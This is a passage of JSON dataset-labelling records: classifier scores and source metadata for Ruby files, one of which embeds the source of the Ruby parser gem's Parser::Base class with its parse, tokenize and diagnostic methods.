7.893980793698816e-05, "Games & Gaming": 0.00012460657476271464, "Electronics & Hardware": 0.0524255708563021, "Health, Healthcare & Wellness": 9.465367421739566e-05, "History & Geography": 0.00010787271712975907, "Home, Pets & Hobbies": 9.031662594790017e-05, "Industry & Production": 0.00012856630333420643, "Language, Literature & Philosophy": 9.501217686207614e-05, "Politics & Government": 8.925121133784156e-05, "Religion & Spirituality": 7.4406409994143e-05, "Science, Mathematics & Engineering": 0.00187249748543204, "Relationships & Community": 5.2652717533801144e-05, "Software Usage & Applications": 0.0006281757519008525, "Programming & Software Engineering": 0.9408328832524295, "Sports & Fitness": 9.888318650857159e-05, "Vehicles & Transportation": 0.0001605062392837276, "Travel & Tourism": 9.74168734356618e-05, "Other / Uncovered Subject": 0.00040498166393176623, "Unknown / Insufficient Content": 0.00014586571445780156}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006484542748999749, "Art & Design": 0.0007679815324624483, "Law & Crime": 0.06537004052165121, "Education & Careers": 0.0005210620584695971, "Entertainment & Media": 0.000575451111265724, "Fashion & Beauty": 0.0005031368239098201, "Business, Economics & Finance": 0.0013945593890078117, "Food & Dining": 0.00038580867122307486, "Games & Gaming": 0.0006377890415093597, "Electronics & Hardware": 0.2401997617725416, "Health, Healthcare & Wellness": 0.0005730701731500325, "History & Geography": 0.0005068521123124029, "Home, Pets & Hobbies": 0.0004889648195142146, "Industry & Production": 0.00046550015033876177, "Language, Literature & Philosophy": 0.00037174295612135157, "Politics & Government": 0.0009260851942558616, "Religion & Spirituality": 0.0005640351788922697, "Science, Mathematics & Engineering": 0.002865360516070104, "Relationships & Community": 0.00023125500547135826, "Software Usage & Applications": 0.0016876969986688508, "Programming & Software Engineering": 0.07026751882002448, "Sports & Fitness": 0.00037274049814716955, "Vehicles & Transportation": 0.00043324158196891225, "Travel & Tourism": 0.0006157557462363868, "Other / Uncovered Subject": 0.0014452870082567587, "NONE": 0.6071808480436307}}, "probabilities": {"primary": {"Academic Writing": 4.2774482834943564e-05, "Content Listing": 4.684945732018555e-05, "Creative Writing": 2.8870642697261404e-05, "Customer Support Page": 1.4098170955422718e-05, "Q&A Forum": 1.9147636610865706e-05, "Discussion Thread": 1.8398961988154008e-05, "Comment Section": 2.5715821206622493e-05, "Missing Content": 3.9627235769720464e-05, "Knowledge Article": 7.090053745570821e-05, "Legal Notices": 0.01674838164089414, "News Article": 1.0169945879838463e-05, "Organizational Announcement": 2.7286772690408794e-05, "Nonfiction Writing": 2.023891672593285e-05, "Organizational About Page": 3.423502489399897e-05, "Personal About Page": 1.873242965945165e-05, "Personal Blog": 1.534908825035142e-05, "Product Page": 1.5919451827778748e-05, "Spam / Ads": 1.6138995390274265e-05, "Structured Data": 0.006127842947033194, "Technical Writing": 0.9753094060054901, "Transcript / Interview": 2.9487664680891054e-05, "Tutorial / How-To Guide": 5.64246116522477e-05, "User Reviews": 1.1499466672940537e-05, "Other / Unknown": 0.0012525040914194909}, "secondary": {"Academic Writing": 0.0004374492898894941, "Content Listing": 0.0005001762892493178, "Creative Writing": 0.00048712578665109575, "Customer Support Page": 0.00020291691963483224, "Q&A Forum": 0.00023394750704508157, "Discussion Thread": 0.00022949750196985352, "Comment Section": 0.00039577711546929975, "Missing Content": 0.0005132701566636952, "Knowledge Article": 0.0007021658955273675, "Legal Notices": 0.8051581712585774, "News Article": 0.0002887477903876485, "Organizational Announcement": 0.0003903493115828177, "Nonfiction Writing": 0.00030578254260940364, "Organizational About Page": 0.00039573465546919234, "Personal About Page": 0.00031169805656028614, "Personal Blog": 0.00020910906751901367, "Product Page": 0.0002860753635102513, "Spam / Ads": 0.0002975957348611183, "Structured Data": 0.02213865075195226, "Technical Writing": 0.042252819106920234, "Transcript / Interview": 0.00034239570609538616, "Tutorial / How-To Guide": 0.00025972014461498786, "User Reviews": 0.0001384728275986732, "NONE": 0.1235223512196412}, "tertiary": {"Academic Writing": 0.0004701226261006702, "Content Listing": 0.0003918719910124128, "Creative Writing": 0.00039559196331911083, "Customer Support Page": 0.0001800610290822245, "Q&A Forum": 0.00015121431023964942, "Discussion Thread": 0.0001817813249926139, "Comment Section": 0.00031220807574062326, "Missing Content": 0.0014059959460376696, "Knowledge Article": 0.0007829674082582, "Legal Notices": 0.05707133467154577, "News Article": 0.00025622114008070154, "Organizational Announcement": 0.0002682018904827625, "Nonfiction Writing": 0.00024012865304149115, "Organizational About Page": 0.0003168280888930345, "Personal About Page": 0.00033844551520465155, "Personal Blog": 0.00020116043743591383, "Product Page": 0.00017223311839779617, "Spam / Ads": 0.0003286175404471404, "Structured Data": 0.057043474611239244, "Technical Writing": 0.008446924394162477, "Transcript / Interview": 0.00022490914241587323, "Tutorial / How-To Guide": 0.0002966283402384143, "User Reviews": 0.00010444036118838361, "NONE": 0.8704186374204432}, "structured_records": {"false": 0.503629143877987, "true": 0.4963708561220131}, "procedural_steps": {"false": 0.9995598924328132, "true": 0.0004401075671868682}, "worked_solution": {"false": 0.9998780145765156, "true": 0.0001219854234843901}, "contextual_dialogue": {"false": 0.9999947074556493, "true": 5.292544350700786e-06}, "content_quality": {"-2": 0.0028520440752852257, "-1": 0.007329256484038097, "0": 0.13358481907057373, "1": 0.4988599679844784, "2": 0.35737391238562455}, "noise_severity": {"0": 0.28919711467197684, "1": 0.5551686929697801, "2": 0.14547653157196874, "3": 0.005487818613709371, "4": 0.00466984217256501}, "missing_content_severity": {"0": 0.80583347587433, "1": 0.1868120895969506, "2": 0.004185487603311536, "3": 0.001982142994008634, "4": 0.0011868039313993374}, "factual_density": {"0": 0.0015711614769752275, "1": 0.004623421863426915, "2": 0.059888413485022246, "3": 0.34397993810310384, "4": 0.5899370650714718}, "pretraining_utility": {"-2": 0.013260013673286625, "-1": 0.21653584470607373, "0": 0.48358757796407426, "1": 0.2501508631381213, "2": 0.036465700518444166}, "math_density": {"0": 0.7325292455408033, "1": 0.1745878250098634, "2": 0.02460682684636252, "3": 0.01647086910343422, "4": 0.051805233499536606}, "code_density": {"0": 0.000609373039474219, "1": 0.0014191120129909002, "2": 0.05562654428370171, "3": 0.37481785805024437, "4": 0.5675271126135889}, "reasoning_density": {"0": 0.9848048397490003, "1": 0.01192307267376939, "2": 0.0026337367324447943, "3": 0.0004338059178221556, "4": 0.00020454492696321474}, "education_level": {"none": 0.001488966477240765, "0": 0.0017114143271263155, "1": 0.006432663398322028, "2": 0.5250029470699578, "3": 0.37638356116569005, "4": 0.08898044756166307}, "creative_writing_quality": {"not_applicable": 0.9990980603648297, "-2": 0.00010150782594434986, "-1": 0.00018122374315331793, "0": 0.00047214709214594253, "1": 0.00010057400660284273, "2": 4.648696732386206e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.705482250531607e-05, "Art & Design": 0.00012114081060299495, "Law & Crime": 0.0018455128691905961, "Education & Careers": 7.122010260748547e-05, "Entertainment & Media": 7.349923376740362e-05, "Fashion & Beauty": 8.518505783693436e-05, "Business, Economics & Finance": 0.0001333278607504356, "Food & Dining": 7.893980793698816e-05, "Games & Gaming": 0.00012460657476271464, "Electronics & Hardware": 0.0524255708563021, "Health, Healthcare & Wellness": 9.465367421739566e-05, "History & Geography": 0.00010787271712975907, "Home, Pets & Hobbies": 9.031662594790017e-05, "Industry & Production": 0.00012856630333420643, "Language, Literature & Philosophy": 9.501217686207614e-05, "Politics & Government": 8.925121133784156e-05, "Religion & Spirituality": 7.4406409994143e-05, "Science, Mathematics & Engineering": 0.00187249748543204, "Relationships & Community": 5.2652717533801144e-05, "Software Usage & Applications": 0.0006281757519008525, "Programming & Software Engineering": 0.9408328832524295, "Sports & Fitness": 9.888318650857159e-05, "Vehicles & Transportation": 0.0001605062392837276, "Travel & Tourism": 9.74168734356618e-05, "Other / Uncovered Subject": 0.00040498166393176623, "Unknown / Insufficient Content": 0.00014586571445780156}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006484542748999748, "Art & Design": 0.0007679815324624481, "Law & Crime": 0.0653700405216512, "Education & Careers": 0.000521062058469597, "Entertainment & Media": 0.0005754511112657239, "Fashion & Beauty": 0.00050313682390982, "Business, Economics & Finance": 0.0013945593890078115, "Food & Dining": 0.00038580867122307475, "Games & Gaming": 0.0006377890415093596, "Electronics & Hardware": 0.24019976177254154, "Health, Healthcare & Wellness": 0.0005730701731500324, "History & Geography": 0.0005068521123124028, "Home, Pets & Hobbies": 0.0004889648195142145, "Industry & Production": 0.00046550015033876166, "Language, Literature & Philosophy": 0.00037174295612135146, "Politics & Government": 0.0009260851942558614, "Religion & Spirituality": 0.0005640351788922695, "Science, Mathematics & Engineering": 0.0028653605160701037, "Relationships & Community": 0.0002312550054713582, "Software Usage & Applications": 0.0016876969986688503, "Programming & Software Engineering": 0.07026751882002447, "Sports & Fitness": 0.00037274049814716944, "Vehicles & Transportation": 0.00043324158196891214, "Travel & Tourism": 0.0006157557462363867, "Other / Uncovered Subject": 0.0014452870082567585, "NONE": 0.6071808480436306}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9920, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9920, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:14.766830+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "39f7e3c1-fe27-462c-8d9f-5d5e36308848", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "322922a21f8b023348fa431b50e1f92c5e4c598350c73360848c47cc5c4f6548", "source_metadata": {"uuid": "39f7e3c1-fe27-462c-8d9f-5d5e36308848", "repo_name": "meh/ruby-sensors", "relative_path": "lib/sensors/c/types.rb", "category": "CONFIG", "algo_rel_score": 0.9125333428382874, "quality_score": 4.443004131317139, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 5, "repo_created_at": "2011-09-02T11:26:53.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 1, "issues": 0, "pull_requests": 4}, "file_meta": {"content_id": "ff4933b015500ed59370d1770737c1e75e18ec86", "size_bytes": 4190, "file_timestamp": 1315337767, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "366eb95ef5474928986a953ed94e52acbdcb4769"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 5, "repo_created_at": "2011-09-02T11:26:53.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 1, "issues": 0, "pull_requests": 4}, "file_meta": {"content_id": "ff4933b015500ed59370d1770737c1e75e18ec86", "size_bytes": 4190, "file_timestamp": 1315337767, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "366eb95ef5474928986a953ed94e52acbdcb4769", "url": "https://github.com/meh/ruby-sensors/blob/366eb95ef5474928986a953ed94e52acbdcb4769/lib/sensors/c/types.rb"}, "gpt4o_tokens": 1297, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.200574448121119, "noise_severity": 0.8812645806451057, "missing_content_severity": 0.2058767095111969, "factual_density": 3.51608832342867, "pretraining_utility": 0.08002639212236265, "math_density": 0.4804350200110375, "code_density": 3.507234225185483, "reasoning_density": 0.01931014359997831, "education_level": 2.5453008989950545, "creative_writing_quality": -0.2114237431814848}, "score_applicability": {"education_level": 0.9985110335227593, "creative_writing_quality": 0.0009019396351703151}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/collabnix/dockerlabs/blob/d232ada39d3ef152877f184524c70a20656613b2/vendor/bundle/ruby/2.6.0/gems/parser-3.1.2.0/lib/parser/base.rb", "id": "ruby-0-5eb855a17557873f53b3255d6123879f", "text": "# frozen_string_literal: true\n\nmodule Parser\n\n ##\n # Base class for version-specific parsers.\n #\n # @api public\n #\n # @!attribute [r] diagnostics\n # @return [Parser::Diagnostic::Engine]\n #\n # @!attribute [r] static_env\n # @return [Parser::StaticEnvironment]\n #\n class Base < Racc::Parser\n ##\n # Parses a string of Ruby code and returns the AST. If the source\n # cannot be parsed, {SyntaxError} is raised and a diagnostic is\n # printed to `stderr`.\n #\n # @example\n # Parser::Base.parse('puts \"hello\"')\n #\n # @param [String] string The block of code to parse.\n # @param [String] file The name of the file the code originated from.\n # @param [Numeric] line The initial line number.\n # @return [Parser::AST::Node]\n #\n def self.parse(string, file='(string)', line=1)\n parser = default_parser\n source_buffer = setup_source_buffer(file, line, string, parser.default_encoding)\n parser.parse(source_buffer)\n end\n\n ##\n # Parses a string of Ruby code and returns the AST and comments. If the\n # source cannot be parsed, {SyntaxError} is raised and a diagnostic is\n # printed to `stderr`.\n #\n # @example\n # Parser::Base.parse_with_comments('puts \"hello\"')\n #\n # @param [String] string The block of code to parse.\n # @param [String] file The name of the file the code originated from.\n # @param [Numeric] line The initial line number.\n # @return [Array]\n #\n def self.parse_with_comments(string, file='(string)', line=1)\n parser = default_parser\n source_buffer = setup_source_buffer(file, line, string, parser.default_encoding)\n parser.parse_with_comments(source_buffer)\n end\n\n ##\n # Parses Ruby source code by reading it from a file. If the source\n # cannot be parsed, {SyntaxError} is raised and a diagnostic is\n # printed to `stderr`.\n #\n # @param [String] filename Path to the file to parse.\n # @return [Parser::AST::Node]\n # @see #parse\n #\n def self.parse_file(filename)\n parse(File.read(filename), filename)\n end\n\n ##\n # Parses Ruby source code by reading it from a file and returns the AST and\n # comments. If the source cannot be parsed, {SyntaxError} is raised and a\n # diagnostic is printed to `stderr`.\n #\n # @param [String] filename Path to the file to parse.\n # @return [Array]\n # @see #parse\n #\n def self.parse_file_with_comments(filename)\n parse_with_comments(File.read(filename), filename)\n end\n\n ##\n # @return [Parser::Base] parser with the default options set.\n #\n def self.default_parser\n parser = new\n\n parser.diagnostics.all_errors_are_fatal = true\n parser.diagnostics.ignore_warnings = true\n\n parser.diagnostics.consumer = lambda do |diagnostic|\n $stderr.puts(diagnostic.render)\n end\n\n parser\n end\n\n def self.setup_source_buffer(file, line, string, encoding)\n string = string.dup.force_encoding(encoding)\n\n source_buffer = Source::Buffer.new(file, line)\n\n if name == 'Parser::Ruby18'\n source_buffer.raw_source = string\n else\n source_buffer.source = string\n end\n\n source_buffer\n end\n private_class_method :setup_source_buffer\n\n attr_reader :lexer\n attr_reader :diagnostics\n attr_reader :builder\n attr_reader :static_env\n attr_reader :source_buffer\n attr_reader :context\n attr_reader :max_numparam_stack\n attr_reader :current_arg_stack\n attr_reader :pattern_variables\n attr_reader :pattern_hash_keys\n\n ##\n # @param [Parser::Builders::Default] builder The AST builder to use.\n #\n def initialize(builder=Parser::Builders::Default.new)\n @diagnostics = Diagnostic::Engine.new\n\n @static_env = StaticEnvironment.new\n\n # Stack that holds current parsing context\n @context = Context.new\n\n # Maximum numbered parameters stack\n @max_numparam_stack = MaxNumparamStack.new\n\n # Current argument names stack\n @current_arg_stack = CurrentArgStack.new\n\n # Stack of set of variables used in the current pattern\n @pattern_variables = VariablesStack.new\n\n # Stack of set of keys used in the current hash in pattern matchinig\n @pattern_hash_keys = VariablesStack.new\n\n @lexer = Lexer.new(version)\n @lexer.diagnostics = @diagnostics\n @lexer.static_env = @static_env\n @lexer.context = @context\n\n @builder = builder\n @builder.parser = self\n\n # Last emitted token\n @last_token = nil\n\n if self.class::Racc_debug_parser && ENV['RACC_DEBUG']\n @yydebug = true\n end\n\n reset\n end\n\n ##\n # Resets the state of the parser.\n #\n def reset\n @source_buffer = nil\n\n @lexer.reset\n @static_env.reset\n @context.reset\n @current_arg_stack.reset\n @pattern_variables.reset\n @pattern_hash_keys.reset\n\n self\n end\n\n ##\n # Parses a source buffer and returns the AST, or `nil` in case of a non fatal error.\n #\n # @param [Parser::Source::Buffer] source_buffer The source buffer to parse.\n # @return [Parser::AST::Node, nil]\n #\n def parse(source_buffer)\n @lexer.source_buffer = source_buffer\n @source_buffer = source_buffer\n\n do_parse || nil # Force `false` to `nil`, see https://github.com/ruby/racc/pull/136\n ensure\n # Don't keep references to the source file.\n @source_buffer = nil\n @lexer.source_buffer = nil\n end\n\n ##\n # Parses a source buffer and returns the AST and the source code comments.\n #\n # @see #parse\n # @see Parser::Source::Comment#associate\n # @return [Array]\n #\n def parse_with_comments(source_buffer)\n @lexer.comments = []\n\n [ parse(source_buffer), @lexer.comments ]\n ensure\n @lexer.comments = nil\n end\n\n ##\n # Parses a source buffer and returns the AST, the source code comments,\n # and the tokens emitted by the lexer. In case of a fatal error, a {SyntaxError}\n # is raised, unless `recover` is true. In case of an error\n # (non-fatal or recovered), `nil` is returned instead of the AST, and\n # comments as well as tokens are only returned up to the location of\n # the error.\n #\n # Currently, token stream format returned by #tokenize is not documented,\n # but is considered part of a public API and only changed according\n # to Semantic Versioning.\n #\n # However, note that the exact token composition of various constructs\n # might vary. For example, a string `\"foo\"` is represented equally well\n # by `:tSTRING_BEG \" :tSTRING_CONTENT foo :tSTRING_END \"` and\n # `:tSTRING \"foo\"`; such details must not be relied upon.\n #\n # @param [Parser::Source::Buffer] source_buffer\n # @param [Boolean] recover If true, recover from syntax errors. False by default.\n # @return [Array]\n #\n def tokenize(source_buffer, recover=false)\n @lexer.tokens = []\n @lexer.comments = []\n\n begin\n ast = parse(source_buffer)\n rescue Parser::SyntaxError\n raise if !recover\n end\n\n [ ast, @lexer.comments, @lexer.tokens ]\n ensure\n @lexer.tokens = nil\n @lexer.comments = nil\n end\n\n private\n\n def next_token\n token = @lexer.advance\n @last_token = token\n token\n end\n\n def check_kwarg_name(name_t)\n case name_t[0]\n when /^[a-z_]/\n # OK\n when /^[A-Z]/\n diagnostic :error, :argument_const, nil, name_t\n end\n end\n\n def diagnostic(level, reason, arguments, location_t, highlights_ts=[])\n _, location = location_t\n\n highlights = highlights_ts.map do |token|\n _, range = token\n range\n end\n\n @diagnostics.process(\n Diagnostic.new(level, reason, arguments, location, highlights))\n\n if level == :error\n yyerror\n end\n end\n\n def on_error(error_token_id, error_value, value_stack)\n token_name = token_to_str(error_token_id)\n _, location = error_value\n\n @diagnostics.process(Diagnostic.new(\n :error, :unexpected_token, { :token => token_name }, location))\n end\n end\n\nend\n", "text_preview": "# frozen_string_literal: true module Parser ## # Base class for version-specific parsers. # # @api public # # @!attribute [r] diagnostics # @return [Parser::Diagnostic::Engine] # # @!attribute [r] static_env # @return [Parser::StaticEnviron", "input_sha256": "3541897fc984979857745aa3acdbd100818c0e9803935ebf4ce47892bd7eea30", "text_sha256": "5eb855a17557873f53b3255d6123879f6081ab3c9fa6ea1f6ec28d9d14a93b46", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16123, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.357532437550593, "noise_severity": 0.027588614145419257, "missing_content_severity": 0.011588297571412713, "factual_density": 3.4128967088567665, "pretraining_utility": 0.5960919774193453, "math_density": 0.02540379971781598, "code_density": 3.6632632951287087, "reasoning_density": 0.2739598187224238, "education_level": 2.6556012624970284, "creative_writing_quality": -0.05684350129451535}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.021829484620260114, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.998574310374735, "secondary": 0.961206877066117, "tertiary": 0.983863674649248, "structured_records": 0.003934336348472626, "procedural_steps": 0.009701813002674238, "worked_solution": 0.001303447265246411, "contextual_dialogue": 4.925354453750094e-06, "content_quality": 0.5804905956796377, "noise_severity": 0.9770094882121506, "missing_content_severity": 0.9903430853571561, "factual_density": 0.5107472573806388, "pretraining_utility": 0.5365696333758894, "math_density": 0.97883016690182, "code_density": 0.7193860792739237, "reasoning_density": 0.7717001510646468, "education_level": 0.3348387737349608, "creative_writing_quality": 0.9994535037405612, "primary_topic": 0.9896916139377028, "secondary_topic": 0.9388296808619128}, "probability_margin": {"primary": 0.9979006284621369, "secondary": 0.932352490657525, "tertiary": 0.9758947396282858, "education_level": 0.01438412357579194, "creative_writing_quality": 0.9993237868361009, "primary_topic": 0.9856515663797416, "secondary_topic": 0.9215840942814083}, "raw_probabilities": {"primary": {"Academic Writing": 1.941502874995318e-05, "Content Listing": 9.662551801221874e-06, "Creative Writing": 7.747469696486251e-06, "Customer Support Page": 6.708272393131614e-06, "Q&A Forum": 5.600290837388216e-06, "Discussion Thread": 3.42946376490849e-06, "Comment Section": 6.323020071430353e-06, "Missing Content": 1.1335264190079622e-05, "Knowledge Article": 0.00010258489828029835, "Legal Notices": 1.6361384248394033e-05, "News Article": 2.302606523754395e-06, "Organizational Announcement": 5.860843514852173e-06, "Nonfiction Writing": 4.946006668795191e-06, "Organizational About Page": 6.2945739295362655e-06, "Personal About Page": 4.327554897767217e-06, "Personal Blog": 3.7891475750140092e-06, "Product Page": 4.676140061167206e-06, "Spam / Ads": 5.091352978842957e-06, "Structured Data": 0.0002545279741773428, "Technical Writing": 0.998633714109121, "Transcript / Interview": 7.572909182728229e-06, "Tutorial / How-To Guide": 0.00014149022175603186, "User Reviews": 3.1532685959370667e-06, "Other / Unknown": 0.0007330856469841047}, "secondary": {"Academic Writing": 0.00018578062016363139, "Content Listing": 0.00012490033951324862, "Creative Writing": 0.0001359354961482616, "Customer Support Page": 0.00011594265127422853, "Q&A Forum": 6.456957098835435e-05, "Discussion Thread": 4.933571783807004e-05, "Comment Section": 8.712504107390653e-05, "Missing Content": 0.00024563699303727137, "Knowledge Article": 0.0011980128368694245, "Legal Notices": 0.00018616211303518145, "News Article": 7.20236661589819e-05, "Organizational Announcement": 8.047542894622932e-05, "Nonfiction Writing": 7.548389730086284e-05, "Organizational About Page": 9.41668156112841e-05, "Personal About Page": 6.609559375528032e-05, "Personal Blog": 6.232709716001723e-05, "Product Page": 5.9189876479472e-05, "Spam / Ads": 8.192207175338223e-05, "Structured Data": 0.0011135792572216406, "Technical Writing": 0.030470766530836992, "Transcript / Interview": 9.760468761321299e-05, "Tutorial / How-To Guide": 0.002472239301824339, "User Reviews": 3.746720703468949e-05, "NONE": 0.962823257188362}, "tertiary": {"Academic Writing": 0.00013412525577658605, "Content Listing": 8.459327128092906e-05, "Creative Writing": 0.00010263370823146354, "Customer Support Page": 7.323018304856867e-05, "Q&A Forum": 3.643754183548039e-05, "Discussion Thread": 2.6988647538538547e-05, "Comment Section": 5.256471902020146e-05, "Missing Content": 0.0002628362610391816, "Knowledge Article": 0.0008773211111690819, "Legal Notices": 0.00031950752123700334, "News Article": 4.703544961873257e-05, "Organizational Announcement": 4.666325297467266e-05, "Nonfiction Writing": 4.334985172282509e-05, "Organizational About Page": 6.274219778271226e-05, "Personal About Page": 3.505419235263719e-05, "Personal Blog": 3.532693584743646e-05, "Product Page": 3.6761641651175094e-05, "Spam / Ads": 6.037035422632959e-05, "Structured Data": 0.0007912473688721434, "Technical Writing": 0.008641281910576878, "Transcript / Interview": 4.823773068240296e-05, "Tutorial / How-To Guide": 0.0036225202677617257, "User Reviews": 2.314908689070645e-05, "NONE": 0.9845360215388627}, "structured_records": {"false": 0.9960656636515274, "true": 0.003934336348472626}, "procedural_steps": {"false": 0.9902981869973257, "true": 0.009701813002674238}, "worked_solution": {"false": 0.9986965527347536, "true": 0.001303447265246411}, "contextual_dialogue": {"false": 0.9999950746455463, "true": 4.925354453750094e-06}, "content_quality": {"-2": 0.002025188706891676, "-1": 0.004707342127695236, "0": 0.057449173440855435, "1": 0.5053464343570438, "2": 0.43047186136751386}, "noise_severity": {"0": 0.9748276383287707, "1": 0.023632295272400412, "2": 0.0009381635566480171, "3": 0.00032761960900055747, "4": 0.0002742832331802845}, "missing_content_severity": {"0": 0.992690823366893, "1": 0.004033460669115491, "2": 0.0024250216208470056, "3": 0.0006979837119746445, "4": 0.00015271063116981866}, "factual_density": {"0": 0.0022602538687713537, "1": 0.005137959680828555, "2": 0.06399873461595797, "3": 0.4346509273937464, "4": 0.49395212444069575}, "pretraining_utility": {"-2": 0.006573340475836933, "-1": 0.062336386603790046, "0": 0.3356194366297029, "1": 0.5193666276065311, "2": 0.07610420868413906}, "math_density": {"0": 0.9839928884914334, "1": 0.012066530451212526, "2": 0.0009189331913436546, "3": 0.0005871885801255593, "4": 0.0024344592858848674}, "code_density": {"0": 0.00043362678092592825, "1": 0.000944872527211331, "2": 0.031579922242454095, "3": 0.2690077356810455, "4": 0.6980338427683631}, "reasoning_density": {"0": 0.7981306557918906, "1": 0.14441304858637297, "2": 0.04706903283379631, "3": 0.006140346683302383, "4": 0.004246916104637773}, "education_level": {"none": 0.0010305044609592103, "0": 0.0013154032845758487, "1": 0.005012968235584532, "2": 0.4456989781124673, "3": 0.43131485453667534, "4": 0.11562729136973772}, "creative_writing_quality": {"not_applicable": 0.9995445864504676, "-2": 4.151224878983827e-05, "-1": 8.369837293490049e-05, "0": 0.00022079961436667124, "1": 7.79710570596776e-05, "2": 3.1432256381258834e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.69304355346554e-05, "Art & Design": 4.030134972398832e-05, "Law & Crime": 3.0374932045249368e-05, "Education & Careers": 3.74774632728143e-05, "Entertainment & Media": 2.196827102188962e-05, "Fashion & Beauty": 1.2997548184742148e-05, "Business, Economics & Finance": 3.262918503576681e-05, "Food & Dining": 1.4812371699759276e-05, "Games & Gaming": 4.0554714232232404e-05, "Electronics & Hardware": 6.951969569616867e-05, "Health, Healthcare & Wellness": 1.7607413620399568e-05, "History & Geography": 2.6075107835023006e-05, "Home, Pets & Hobbies": 1.714296005678079e-05, "Industry & Production": 2.3107787317910907e-05, "Language, Literature & Philosophy": 0.004113441639788592, "Politics & Government": 1.7092956748194895e-05, "Religion & Spirituality": 2.547904734408826e-05, "Science, Mathematics & Engineering": 0.004436523944972588, "Relationships & Community": 1.4259659219279382e-05, "Software Usage & Applications": 0.0004598511364590902, "Programming & Software Engineering": 